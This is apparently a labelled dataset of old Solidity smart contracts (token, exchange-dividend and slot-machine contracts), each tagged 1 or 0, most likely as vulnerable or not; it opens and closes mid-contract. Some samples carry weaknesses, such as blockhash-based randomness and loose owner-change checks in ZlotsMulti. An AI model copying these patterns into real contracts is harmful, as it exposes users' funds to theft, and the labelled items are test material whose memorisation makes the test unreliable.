b.transferAllowed = b.transferAllowed.add(amount);
}
function internalChangeAdminWallet(
uint index,
address addr
)
private onlyAdmin
{
if(index == 0)
{
internalTransferAccount(mainBalanceAdmin, addr);
mainBalanceAdmin = addr;
}
if(index == 1)
{
internalTransferAccount(buyBalanceAdmin, addr);
buyBalanceAdmin = addr;
}
if(index == 2)
{
internalTransferAccount(sellBalanceAdmin, addr);
sellBalanceAdmin = addr;
}
}
function internalAddBuyUnits(
uint price,
uint addUnits,
bool ignoreLimits
)
private onlyAdmin
{
if(price > 0)
{
weiBuyPrice = price;
if(!ignoreLimits && securityWeiBuyPriceFrom > 0 && weiBuyPrice < securityWeiBuyPriceFrom)
{
weiBuyPrice = securityWeiBuyPriceFrom;
}
if(!ignoreLimits && securityWeiBuyPriceTo > 0 && weiBuyPrice > securityWeiBuyPriceTo)
{
weiBuyPrice = securityWeiBuyPriceTo;
}
}
if(addUnits > 0)
{
uint b = balances[mainBalanceAdmin].balance;
if(addUnits > b)
{
addUnits = b;
}
internalAllowTransfer(buyBalanceAdmin, addUnits);
internalTransfer(mainBalanceAdmin, buyBalanceAdmin, addUnits);
}
emit OnExchangeBuyUpdate(weiBuyPrice, balances[buyBalanceAdmin].balance);
}
function internalAddSellUnits(
uint price,
uint addUnits,
bool ignoreLimits
)
private onlyAdmin
{
if(price > 0)
{
weiSellPrice = price;
if(!ignoreLimits)
{
if(securityWeiSellPriceFrom > 0 && weiSellPrice < securityWeiSellPriceFrom)
{
weiSellPrice = securityWeiSellPriceFrom;
}
if(securityWeiSellPriceTo > 0 && weiSellPrice > securityWeiSellPriceTo)
{
weiSellPrice = securityWeiSellPriceTo;
}
}
}
if(addUnits > 0)
{
unitsToSell = unitsToSell.add(addUnits);
uint maxUnitsAccountCanBuy = sellBalanceAdmin.balance.div(weiSellPrice);
if(unitsToSell > maxUnitsAccountCanBuy)
{
unitsToSell = maxUnitsAccountCanBuy;
}
}
emit OnExchangeSellUpdate(weiSellPrice, unitsToSell);
}
function internalChangeBuySellLimits(
uint buyPriceMin,
uint buyPriceMax,
uint sellPriceMin,
uint sellPriceMax
)
private onlyAdmin
{
if(buyPriceMin > 0)
{
securityWeiBuyPriceFrom = buyPriceMin;
}
if(buyPriceMax > 0)
{
securityWeiBuyPriceTo = buyPriceMax;
}
if(sellPriceMin > 0)
{
securityWeiSellPriceFrom = sellPriceMin;
}
if(sellPriceMax > 0)
{
securityWeiSellPriceTo = sellPriceMax;
}
}
function internalChangeBuySellPrice(
uint buyPrice,
uint buyAddUnits,
uint sellPrice,
uint sellAddUnits,
bool ignoreSecurityLimits
)
private onlyAdmin
{
internalAddBuyUnits(buyPrice, buyAddUnits, ignoreSecurityLimits);
internalAddSellUnits(sellPrice, sellAddUnits, ignoreSecurityLimits);
}
function internalSendWeiFromExchange(
address addressTo,
uint amount
)
private onlyAdmin
{
internalRemoveWeiFromExchange(amount);
addressTo.transfer(amount);
}
function internalTransferExchangeWeiToPayment(bool reverse, uint amount)
private onlyAdmin
{
if(reverse)
{
weiFromExchange = weiFromExchange.add(amount);
weiForPayment = weiForPayment.sub(amount);
}
else
{
internalRemoveWeiFromExchange(amount);
weiForPayment = weiForPayment.add(amount);
}
}
function internalRemoveWeiFromExchange(uint amount)
private onlyAdmin
{
weiFromExchange = weiFromExchange.sub(amount);
uint units = weiFromExchange.div(weiSellPrice);
if(units < unitsToSell)
{
unitsToSell = units;
}
}
function internalSendWeiFromPayment(
address addressTo,
uint amount
)
private onlyAdmin
{
weiForPayment = weiForPayment.sub(amount);
addressTo.transfer(amount);
}
function getAmountOfUnitsOnPaymentId(
BalanceData storage b,
uint index
)
private view
returns(uint)
{
bytes32 mask = getMask();
uint offsetIndex = getBitIndex(index);
mask = shiftLeft(mask, offsetIndex);
bytes32 before = b.paymentBalances & mask;
before = shiftRight(before, offsetIndex);
uint r = uint(before);
if(r > amountOfUnitsOutsideAdminWallet)
{
return 0;
}
return r;
}
function setAmountOfUnitsOnPaymentId(
BalanceData storage b,
uint index,
uint value
)
private
{
bytes32 mask = getMask();
uint offsetIndex = getBitIndex(index);
mask = shiftLeft(mask, offsetIndex);
b.paymentBalances = (b.paymentBalances ^ mask) & b.paymentBalances;
bytes32 field = bytes32(value);
field = shiftLeft(field, offsetIndex);
b.paymentBalances = b.paymentBalances | field;
}
function internalTransferAccount(
address addrA,
address addrB
)
private onlyAdmin
{
if(addrA != 0x0 && addrB != 0x0)
{
BalanceData storage from = balances[addrA];
BalanceData storage to = balances[addrB];
if(from.balancePaymentSeries < paymentSeries)
{
from.paymentBalances = bytes32(0);
setAmountOfUnitsOnPaymentId(from, 0, from.balance);
from.balancePaymentSeries = paymentSeries;
}
if(to.balancePaymentSeries < paymentSeries)
{
to.paymentBalances = bytes32(0);
setAmountOfUnitsOnPaymentId(to, 0, to.balance);
to.balancePaymentSeries = paymentSeries;
}
uint nextPaymentFirstUnits = getAmountOfUnitsOnPaymentId(from, 0);
setAmountOfUnitsOnPaymentId(from, 0, 0);
setAmountOfUnitsOnPaymentId(to, 1, nextPaymentFirstUnits);
for(uint i = 0; i <= 5; i++)
{
uint existingUnits = getAmountOfUnitsOnPaymentId(from, i);
existingUnits = existingUnits.add(getAmountOfUnitsOnPaymentId(to, i));
setAmountOfUnitsOnPaymentId(from, i, 0);
setAmountOfUnitsOnPaymentId(to, i, existingUnits);
}
to.balance = to.balance.add(from.balance);
from.balance = 0;
}
}
function internalStartPayment(uint weiTotal, uint date)
private onlyAdmin
{
require(weiTotal >= amountOfUnitsOutsideAdminWallet);
paymentNumber = paymentNumber.add(1);
paymentSortId = paymentNumber % 6;
if(paymentSortId == 0)
{
paymentHistory = bytes32(0);
paymentSeries = paymentSeries.add(1);
uint weiLeft = totalAmountOfWeiOnPaymentsPerSeries.sub(totalAmountOfWeiPaidToUsersPerSeries);
if(weiLeft > 0)
{
weiForPayment = weiForPayment.add(weiLeft);
}
totalAmountOfWeiPaidToUsersPerSeries = 0;
totalAmountOfWeiOnPaymentsPerSeries = 0;
}
buySum.price = 0;
buySum.amount = 0;
sellSum.price = 0;
sellSum.amount = 0;
bytes32 mask = getMaskForPaymentBytes();
uint offsetIndex = getPaymentBytesIndexSize(paymentSortId);
mask = shiftLeft(mask, offsetIndex);
paymentHistory = (paymentHistory ^ mask) & paymentHistory;
bytes32 field = bytes32((weiTotal.div(1000000000000)).div(amountOfUnitsOutsideAdminWallet));
field = shiftLeft(field, offsetIndex);
paymentHistory = paymentHistory | field;
weiForPayment = weiForPayment.sub(weiTotal);
totalAmountOfWeiOnPaymentsPerSeries = totalAmountOfWeiOnPaymentsPerSeries.add(weiTotal);
internalCheckPayment(buyBalanceAdmin);
internalCheckPayment(sellBalanceAdmin);
lastPaymentDate = date;
emit NewPayment(paymentNumber, weiTotal, amountOfUnitsOutsideAdminWallet, lastPaymentDate);
}
function internalCheckPayment(address person)
private
{
require(person != mainBalanceAdmin);
BalanceData storage b = balances[person];
if(b.balancePaymentSeries < paymentSeries)
{
b.balancePaymentSeries = paymentSeries;
b.paymentBalances = bytes32(b.balance);
}
(uint weiToSendSum, uint unitsReceived) = getAddressWeiFromPayments(b);
b.paymentBalances = bytes32(0);
setAmountOfUnitsOnPaymentId(b, paymentSortId.add(1), b.balance);
if(weiToSendSum > 0)
{
totalAmountOfWeiPaidToUsers = totalAmountOfWeiPaidToUsers.add(weiToSendSum);
totalAmountOfWeiPaidToUsersPerSeries = totalAmountOfWeiPaidToUsersPerSeries.add(weiToSendSum);
emit PaymentReceived(person, paymentNumber, weiToSendSum, unitsReceived);
person.transfer(weiToSendSum);
}
}
function getAddressWeiFromPayments(BalanceData storage b)
private view
returns(uint weiSum, uint unitsSum)
{
for(uint i = 0; i <= paymentSortId; i++)
{
unitsSum = unitsSum.add(getAmountOfUnitsOnPaymentId(b, i));
weiSum = weiSum.add(getPaymentWeiPerUnit(i).mul(unitsSum));
}
}
function proceedTransferFromMainAdmin(BalanceData storage bT, uint value)
private
{
if(bT.balancePaymentSeries < paymentSeries)
{
bT.paymentBalances = bytes32(0);
setAmountOfUnitsOnPaymentId(bT, 0, bT.balance);
bT.balancePaymentSeries = paymentSeries;
}
amountOfUnitsOutsideAdminWallet = amountOfUnitsOutsideAdminWallet.add(value);
uint fixedNewPayment = paymentNumber.add(1);
uint curr = getAmountOfUnitsOnPaymentId(bT, fixedNewPayment).add(value);
setAmountOfUnitsOnPaymentId(bT, fixedNewPayment, curr);
}
function proceedTransferToMainAdmin(BalanceData storage bF, uint value)
private
{
amountOfUnitsOutsideAdminWallet = amountOfUnitsOutsideAdminWallet.sub(value);
if(bF.balancePaymentSeries < paymentSeries)
{
bF.paymentBalances = bytes32(0);
setAmountOfUnitsOnPaymentId(bF, 0, bF.balance);
bF.balancePaymentSeries = paymentSeries;
}
uint maxVal = paymentSortId.add(1);
for(uint i = 0; i <= maxVal; i++)
{
uint v = getAmountOfUnitsOnPaymentId(bF, i);
if(v >= value)
{
setAmountOfUnitsOnPaymentId(bF, i, v.sub(value));
break;
}
value = value.sub(v);
setAmountOfUnitsOnPaymentId(bF, i, 0);
}
}
function proceedTransferFromUserToUser(BalanceData storage bF, BalanceData storage bT, uint value)
private
{
if(bF.balancePaymentSeries < paymentSeries)
{
bF.paymentBalances = bytes32(0);
setAmountOfUnitsOnPaymentId(bF, 0, bF.balance);
bF.balancePaymentSeries = paymentSeries;
}
if(bT.balancePaymentSeries < paymentSeries)
{
bT.paymentBalances = bytes32(0);
setAmountOfUnitsOnPaymentId(bT, 0, bT.balance);
bT.balancePaymentSeries = paymentSeries;
}
uint maxVal = paymentSortId.add(1);
for(uint i = 0; i <= maxVal; i++)
{
uint fromAmount = getAmountOfUnitsOnPaymentId(bF, i);
uint toAmount = getAmountOfUnitsOnPaymentId(bT, i);
if(fromAmount >= value)
{
setAmountOfUnitsOnPaymentId(bT, i, toAmount.add(value));
setAmountOfUnitsOnPaymentId(bF, i, fromAmount.sub(value));
break;
}
value = value.sub(fromAmount);
setAmountOfUnitsOnPaymentId(bT, i, toAmount.add(fromAmount));
setAmountOfUnitsOnPaymentId(bF, i, 0);
}
}
function internalTransfer(
address from,
address to,
uint value
)
private
returns (bool success)
{
BalanceData storage bF = balances[from];
BalanceData storage bT = balances[to];
if(to == 0x0 || bF.balance < value)
{
return false;
}
bool fromMainAdmin = from == mainBalanceAdmin;
bool fromAdminToNonAdmin = isAdmin(from) && !isAdmin(to);
if(fromMainAdmin || fromAdminToNonAdmin)
{
assert(bT.transferAllowed > 0);
if(value > bT.transferAllowed)
{
value = bT.transferAllowed;
}
bT.transferAllowed = bT.transferAllowed.sub(value);
}
if(to == sellBalanceAdmin)
{
require(unitsToSell > 0);
if(value > unitsToSell)
{
value = unitsToSell;
}
unitsToSell = unitsToSell.sub(value);
}
if(fromMainAdmin)
{
proceedTransferFromMainAdmin(bT, value);
emit OnEmitNewUnitsFromMainWallet(value, amountOfUnitsOutsideAdminWallet);
}
else if(to == mainBalanceAdmin)
{
proceedTransferToMainAdmin(bF, value);
emit OnAddNewUnitsToMainWallet(value, amountOfUnitsOutsideAdminWallet);
}
else
{
proceedTransferFromUserToUser(bF, bT, value);
}
bF.balance = bF.balance.sub(value);
bT.balance = bT.balance.add(value);
emit Transfer(from, to, value);
return true;
}
function isAdmin(address person) private view
returns(bool)
{
return (person == mainBalanceAdmin || person == buyBalanceAdmin || person == sellBalanceAdmin);
}
} | 1 |
pragma solidity ^0.4.24;
contract SafeMath {
function safeMul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c>=a && c>=b);
return c;
}
}
contract QINBToken is SafeMath{
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => uint256) public freezeOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
event Freeze(address indexed from, uint256 value);
event Unfreeze(address indexed from, uint256 value);
function QINBToken() public {
totalSupply = 100*10**26;
balanceOf[msg.sender] = totalSupply;
name = "QINB Token";
symbol = "QINB";
decimals = 18;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public{
_transfer(msg.sender,_to,_value);
Transfer(msg.sender, _to, _value);
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
require(_value>0);
allowance[msg.sender][_spender] = _value;
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] = SafeMath.safeSub(allowance[_from][msg.sender], _value);
_transfer(_from, _to, _value);
Transfer(_from, _to, _value);
return true;
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
require(_value > 0);
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value);
totalSupply = SafeMath.safeSub(totalSupply,_value);
Burn(msg.sender, _value);
return true;
}
function freeze(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
require(_value > 0);
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value);
freezeOf[msg.sender] = SafeMath.safeAdd(freezeOf[msg.sender], _value);
Freeze(msg.sender, _value);
return true;
}
function unfreeze(uint256 _value) public returns (bool success){
require(freezeOf[msg.sender] >= _value);
require(_value > 0);
freezeOf[msg.sender] = SafeMath.safeSub(freezeOf[msg.sender], _value);
balanceOf[msg.sender] = SafeMath.safeAdd(balanceOf[msg.sender], _value);
Unfreeze(msg.sender, _value);
return true;
}
} | 1 |
pragma solidity ^0.4.24;
contract ZethrTokenBankroll{
function gameRequestTokens(address target, uint tokens) public;
function gameTokenAmount(address what) public returns (uint);
}
contract ZethrMainBankroll{
function gameGetTokenBankrollList() public view returns (address[7]);
}
contract ZethrInterface{
function withdraw() public;
}
library ZethrTierLibrary{
function getTier(uint divRate)
internal
pure
returns (uint)
{
uint actualDiv = divRate;
if (actualDiv >= 30){
return 6;
} else if (actualDiv >= 25){
return 5;
} else if (actualDiv >= 20){
return 4;
} else if (actualDiv >= 15){
return 3;
} else if (actualDiv >= 10){
return 2;
} else if (actualDiv >= 5){
return 1;
} else if (actualDiv >= 2){
return 0;
} else{
revert();
}
}
}
contract ZlotsJackpotHoldingContract {
function payOutWinner(address winner) public;
function getJackpot() public view returns (uint);
}
contract ZethrBankrollBridge {
ZethrInterface Zethr;
address[7] UsedBankrollAddresses;
mapping(address => bool) ValidBankrollAddress;
function setupBankrollInterface(address ZethrMainBankrollAddress)
internal
{
Zethr = ZethrInterface(0xb9ab8eed48852de901c13543042204c6c569b811);
UsedBankrollAddresses = ZethrMainBankroll(ZethrMainBankrollAddress).gameGetTokenBankrollList();
for(uint i=0; i<7; i++){
ValidBankrollAddress[UsedBankrollAddresses[i]] = true;
}
}
modifier fromBankroll() {
require(ValidBankrollAddress[msg.sender], "msg.sender should be a valid bankroll");
_;
}
function RequestBankrollPayment(address to, uint tokens, uint tier)
internal
{
address tokenBankrollAddress = UsedBankrollAddresses[tier];
ZethrTokenBankroll(tokenBankrollAddress).gameRequestTokens(to, tokens);
}
function getZethrTokenBankroll(uint divRate)
public
view
returns (ZethrTokenBankroll)
{
return ZethrTokenBankroll(UsedBankrollAddresses[ZethrTierLibrary.getTier(divRate)]);
}
}
contract ZethrShell is ZethrBankrollBridge {
function WithdrawToBankroll()
public
{
address(UsedBankrollAddresses[0]).transfer(address(this).balance);
}
function WithdrawAndTransferToBankroll()
public
{
Zethr.withdraw();
WithdrawToBankroll();
}
}
contract ZlotsMulti is ZethrShell {
using SafeMath for uint;
event HouseRetrievedTake(
uint timeTaken,
uint tokensWithdrawn
);
event TokensWagered(
address _wagerer,
uint _wagered
);
event LogResult(
address _wagerer,
uint _result,
uint _profit,
uint _wagered,
uint _category,
bool _win
);
event Loss(address _wagerer, uint _block);
event ThreeMoonJackpot(address _wagerer, uint _block);
event TwoMoonPrize(address _wagerer, uint _block);
event ZTHPrize(address _wagerer, uint _block);
event ThreeZSymbols(address _wagerer, uint _block);
event ThreeTSymbols(address _wagerer, uint _block);
event ThreeHSymbols(address _wagerer, uint _block);
event ThreeEtherIcons(address _wagerer, uint _block);
event ThreePurplePyramids(address _wagerer, uint _block);
event ThreeGoldPyramids(address _wagerer, uint _block);
event ThreeRockets(address _wagerer, uint _block);
event OneMoonPrize(address _wagerer, uint _block);
event OneOfEachPyramidPrize(address _wagerer, uint _block);
event TwoZSymbols(address _wagerer, uint _block);
event TwoTSymbols(address _wagerer, uint _block);
event TwoHSymbols(address _wagerer, uint _block);
event TwoEtherIcons(address _wagerer, uint _block);
event TwoPurplePyramids(address _wagerer, uint _block);
event TwoGoldPyramids(address _wagerer, uint _block);
event TwoRockets(address _wagerer, uint _block);
event SpinConcluded(address _wagerer, uint _block);
modifier betIsValid(uint _betSize, uint divRate, uint8 spins) {
require(_betSize.div(spins).mul(50) <= getMaxProfit(divRate));
require(_betSize.div(spins) >= minBet);
_;
}
modifier gameIsActive {
require(gamePaused == false);
_;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyBankroll {
require(msg.sender == bankroll);
_;
}
modifier onlyOwnerOrBankroll {
require(msg.sender == owner || msg.sender == bankroll);
_;
}
uint constant public maxProfitDivisor = 1000000;
uint constant public houseEdgeDivisor = 1000;
mapping (uint => uint) public maxProfit;
uint public maxProfitAsPercentOfHouse;
uint public minBet = 1e18;
address public zlotsJackpot;
address private owner;
address private bankroll;
bool public gamePaused;
bool public canMining = true;
uint public miningProfit = 100;
uint public minBetMining = 1e18;
uint public totalSpins;
uint public totalZTHWagered;
mapping (uint => uint) public contractBalance;
address private ZTHTKNADDR;
address private ZTHBANKROLL;
constructor(address BankrollAddress)
public
{
setupBankrollInterface(BankrollAddress);
owner = msg.sender;
ownerSetMaxProfitAsPercentOfHouse(500000);
bankroll = ZTHBANKROLL;
ownerSetMinBet(1e18);
canMining = false;
miningProfit = 100;
minBetMining = 1e18;
}
function() public payable { }
struct TKN { address sender; uint value; }
function execute(address _from, uint _value, uint divRate, bytes _data)
public
fromBankroll gameIsActive
returns (bool)
{
TKN memory _tkn;
_tkn.sender = _from;
_tkn.value = _value;
_spinTokens(_tkn, divRate, uint8(_data[0]));
return true;
}
struct playerSpin {
uint192 tokenValue;
uint48 blockn;
uint8 tier;
uint8 spins;
uint divRate;
}
mapping(address => playerSpin) public playerSpins;
function _spinTokens(TKN _tkn, uint divRate, uint8 spins)
private gameIsActive
betIsValid(_tkn.value, divRate, spins)
{
require(block.number <= ((2 ** 48) - 1));
require(_tkn.value <= ((2 ** 192) - 1));
require(divRate < (2 ** 8 - 1));
address _customerAddress = _tkn.sender;
uint _wagered = _tkn.value;
playerSpin memory spin = playerSpins[_tkn.sender];
addContractBalance(divRate, _wagered);
require(block.number != spin.blockn);
if (spin.blockn != 0) {
_finishSpin(_tkn.sender);
}
spin.blockn = uint48(block.number);
spin.tokenValue = uint192(_wagered.div(spins));
spin.tier = uint8(ZethrTierLibrary.getTier(divRate));
spin.divRate = divRate;
spin.spins = spins;
playerSpins[_tkn.sender] = spin;
totalSpins += spins;
totalZTHWagered += _wagered;
if(canMining && spin.tokenValue >= minBetMining){
uint miningAmout = SafeMath.div(SafeMath.mul(_wagered, miningProfit) , 10000);
RequestBankrollPayment(_tkn.sender, miningAmout, spin.divRate);
}
emit TokensWagered(_customerAddress, _wagered);
}
function finishSpin()
public
gameIsActive
returns (uint[])
{
return _finishSpin(msg.sender);
}
struct rollData {
uint win;
uint loss;
uint jp;
}
function _finishSpin(address target)
private
returns (uint[])
{
playerSpin memory spin = playerSpins[target];
require(spin.tokenValue > 0);
require(spin.blockn != block.number);
uint[] memory output = new uint[](spin.spins);
rollData memory outcomeTrack = rollData(0,0,0);
uint category = 0;
uint profit;
uint playerDivrate = spin.divRate;
for(uint i=0; i<spin.spins; i++) {
uint result;
if (block.number - spin.blockn > 255) {
result = 1000000;
output[i] = 1000000;
} else {
result = random(1000000, spin.blockn, target, i) + 1;
output[i] = result;
}
if (result > 506856) {
outcomeTrack.loss += spin.tokenValue/100;
emit Loss(target, spin.blockn);
emit LogResult(target, result, profit, spin.tokenValue, category, false);
} else if (result < 2) {
profit = ZlotsJackpotHoldingContract(zlotsJackpot).getJackpot();
category = 1;
emit ThreeMoonJackpot(target, spin.blockn);
emit LogResult(target, result, profit, spin.tokenValue, category, true);
outcomeTrack.jp += 1;
} else {
if (result < 299) {
profit = SafeMath.mul(spin.tokenValue, 50);
category = 2;
emit TwoMoonPrize(target, spin.blockn);
} else if (result < 3128) {
profit = SafeMath.mul(spin.tokenValue, 20);
category = 3;
emit ZTHPrize(target, spin.blockn);
} else if (result < 16961) {
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 30), 10);
category = 4;
emit ThreeZSymbols(target, spin.blockn);
} else if (result < 30794) {
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 30), 10);
category = 5;
emit ThreeTSymbols(target, spin.blockn);
} else if (result < 44627) {
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 30), 10);
category = 6;
emit ThreeHSymbols(target, spin.blockn);
} else if (result < 46627) {
profit = SafeMath.mul(spin.tokenValue, 11);
category = 7;
emit ThreeEtherIcons(target, spin.blockn);
} else if (result < 49127) {
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 75), 10);
category = 8;
emit ThreePurplePyramids(target, spin.blockn);
} else if (result < 51627) {
profit = SafeMath.mul(spin.tokenValue, 9);
category = 9;
emit ThreeGoldPyramids(target, spin.blockn);
} else if (result < 53127) {
profit = SafeMath.mul(spin.tokenValue, 13);
category = 10;
emit ThreeRockets(target, spin.blockn);
} else if (result < 82530) {
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 25),10);
category = 11;
emit OneMoonPrize(target, spin.blockn);
} else if (result < 150423) {
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 15),10);
category = 12;
emit OneOfEachPyramidPrize(target, spin.blockn);
} else if (result < 203888) {
profit = spin.tokenValue;
category = 13;
emit TwoZSymbols(target, spin.blockn);
} else if (result < 257353) {
profit = spin.tokenValue;
category = 14;
emit TwoTSymbols(target, spin.blockn);
} else if (result < 310818) {
profit = spin.tokenValue;
category = 15;
emit TwoHSymbols(target, spin.blockn);
} else if (result < 364283) {
profit = SafeMath.mul(spin.tokenValue, 2);
category = 16;
emit TwoEtherIcons(target, spin.blockn);
} else if (result < 417748) {
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 125), 100);
category = 17;
emit TwoPurplePyramids(target, spin.blockn);
} else if (result < 471213) {
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 133), 100);
category = 18;
emit TwoGoldPyramids(target, spin.blockn);
} else {
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 25), 10);
category = 19;
emit TwoRockets(target, spin.blockn);
}
uint newMaxProfit = getNewMaxProfit(playerDivrate, outcomeTrack.win);
if (profit > newMaxProfit){
profit = newMaxProfit;
}
emit LogResult(target, result, profit, spin.tokenValue, category, true);
outcomeTrack.win += profit;
}
}
playerSpins[target] = playerSpin(uint192(0), uint48(0), uint8(0), uint8(0), uint(0));
if (outcomeTrack.jp > 0) {
for (i = 0; i < outcomeTrack.jp; i++) {
ZlotsJackpotHoldingContract(zlotsJackpot).payOutWinner(target);
}
}
if (outcomeTrack.win > 0) {
RequestBankrollPayment(target, outcomeTrack.win, spin.tier);
}
if (outcomeTrack.loss > 0) {
RequestBankrollPayment(zlotsJackpot, outcomeTrack.loss, spin.tier);
}
emit SpinConcluded(target, spin.blockn);
return output;
}
function maxRandom(uint blockn, address entropy, uint index)
private
view
returns (uint256 randomNumber)
{
return uint256(keccak256(
abi.encodePacked(
blockhash(blockn),
entropy,
index
)));
}
function random(uint256 upper, uint256 blockn, address entropy, uint index)
internal
view
returns (uint256 randomNumber)
{
return maxRandom(blockn, entropy, index) % upper;
}
function setMaxProfit(uint divRate)
internal
{
maxProfit[divRate] = (contractBalance[divRate] * maxProfitAsPercentOfHouse) / maxProfitDivisor;
}
function getMaxProfit(uint divRate)
public
view
returns (uint)
{
return (contractBalance[divRate] * maxProfitAsPercentOfHouse) / maxProfitDivisor;
}
function getNewMaxProfit(uint divRate, uint currentWin)
public
view
returns (uint)
{
return ((contractBalance[divRate] - currentWin) * maxProfitAsPercentOfHouse) / maxProfitDivisor;
}
function subContractBalance(uint divRate, uint sub)
internal
{
contractBalance[divRate] = contractBalance[divRate].sub(sub);
}
function addContractBalance(uint divRate, uint add)
internal
{
contractBalance[divRate] = contractBalance[divRate].add(add);
}
function ownerUpdateContractBalance(uint newContractBalance, uint divRate) public
onlyOwner
{
contractBalance[divRate] = newContractBalance;
}
function updateContractBalance(uint newContractBalance) public
onlyOwner
{
contractBalance[2] = newContractBalance;
setMaxProfit(2);
contractBalance[5] = newContractBalance;
setMaxProfit(5);
contractBalance[10] = newContractBalance;
setMaxProfit(10);
contractBalance[15] = newContractBalance;
setMaxProfit(15);
contractBalance[20] = newContractBalance;
setMaxProfit(20);
contractBalance[25] = newContractBalance;
setMaxProfit(25);
contractBalance[33] = newContractBalance;
setMaxProfit(33);
}
function bankrollExternalUpdateTokens(uint divRate, uint newBalance)
public
fromBankroll
{
contractBalance[divRate] = newBalance;
setMaxProfit(divRate);
}
function ownerSetMaxProfitAsPercentOfHouse(uint newMaxProfitAsPercent)
public
onlyOwner
{
require(newMaxProfitAsPercent <= 500000);
maxProfitAsPercentOfHouse = newMaxProfitAsPercent;
setMaxProfit(2);
setMaxProfit(5);
setMaxProfit(10);
setMaxProfit(15);
setMaxProfit(20);
setMaxProfit(25);
setMaxProfit(33);
}
function ownerSetupBankrollInterface(address ZethrMainBankrollAddress) public
onlyOwner
{
setupBankrollInterface(ZethrMainBankrollAddress);
}
function ownerSetMinBet(uint newMinimumBet)
public
onlyOwner
{
minBet = newMinimumBet;
}
function ownerPauseGame(bool newStatus) public
onlyOwner
{
gamePaused = newStatus;
}
function ownerSetCanMining(bool newStatus) public
onlyOwner
{
canMining = newStatus;
}
function ownerSetMiningProfit(uint newProfit) public
onlyOwner
{
miningProfit = newProfit;
}
function ownerSetMinBetMining(uint newMinBetMining) public
onlyOwner
{
minBetMining = newMinBetMining;
}
function ownerSetZlotsAddress(address zlotsAddress)
public
onlyOwner
{
zlotsJackpot = zlotsAddress;
}
function changeOwner(address _newOwner)
public
onlyOwnerOrBankroll
{
owner = _newOwner;
}
function changeBankroll(address _newBankroll)
public
onlyOwnerOrBankroll
{
bankroll = _newBankroll;
}
function _zthToken(address _tokenContract)
private
view
returns (bool)
{
return _tokenContract == ZTHTKNADDR;
}
}
library SafeMath {
function mul(uint a, uint b)
internal
pure
returns (uint)
{
if (a == 0) {
return 0;
}
uint c = a * b;
assert(c / a == b);
return c;
}
function div(uint a, uint b)
internal
pure
returns (uint)
{
uint c = a / b;
return c;
}
function sub(uint a, uint b)
internal
pure
returns (uint)
{
assert(b <= a);
return a - b;
}
function add(uint a, uint b)
internal
pure returns (uint)
{
uint c = a + b;
assert(c >= a);
return c;
}
} | 0 |
pragma solidity ^0.4.6;
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function assert(bool assertion) internal {
if (!assertion) throw;
}
}
contract EdgelessToken is SafeMath {
string public standard = 'ERC20';
string public name = 'Edgeless';
string public symbol = 'EDG';
uint8 public decimals = 0;
uint256 public totalSupply;
address public owner;
uint256 public startTime = 1490112000;
bool burned;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Burned(uint amount);
function EdgelessToken() {
owner = 0x003230BBE64eccD66f62913679C8966Cf9F41166;
balanceOf[owner] = 500000000;
totalSupply = 500000000;
}
function transfer(address _to, uint256 _value) returns (bool success){
if (now < startTime) throw;
if(msg.sender == owner && now < startTime + 1 years && safeSub(balanceOf[msg.sender],_value) < 50000000) throw;
balanceOf[msg.sender] = safeSub(balanceOf[msg.sender],_value);
balanceOf[_to] = safeAdd(balanceOf[_to],_value);
Transfer(msg.sender, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowance[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (now < startTime && _from!=owner) throw;
if(_from == owner && now < startTime + 1 years && safeSub(balanceOf[_from],_value) < 50000000) throw;
var _allowance = allowance[_from][msg.sender];
balanceOf[_from] = safeSub(balanceOf[_from],_value);
balanceOf[_to] = safeAdd(balanceOf[_to],_value);
allowance[_from][msg.sender] = safeSub(_allowance,_value);
Transfer(_from, _to, _value);
return true;
}
function burn(){
if(!burned && now>startTime){
uint difference = safeSub(balanceOf[owner], 60000000);
balanceOf[owner] = 60000000;
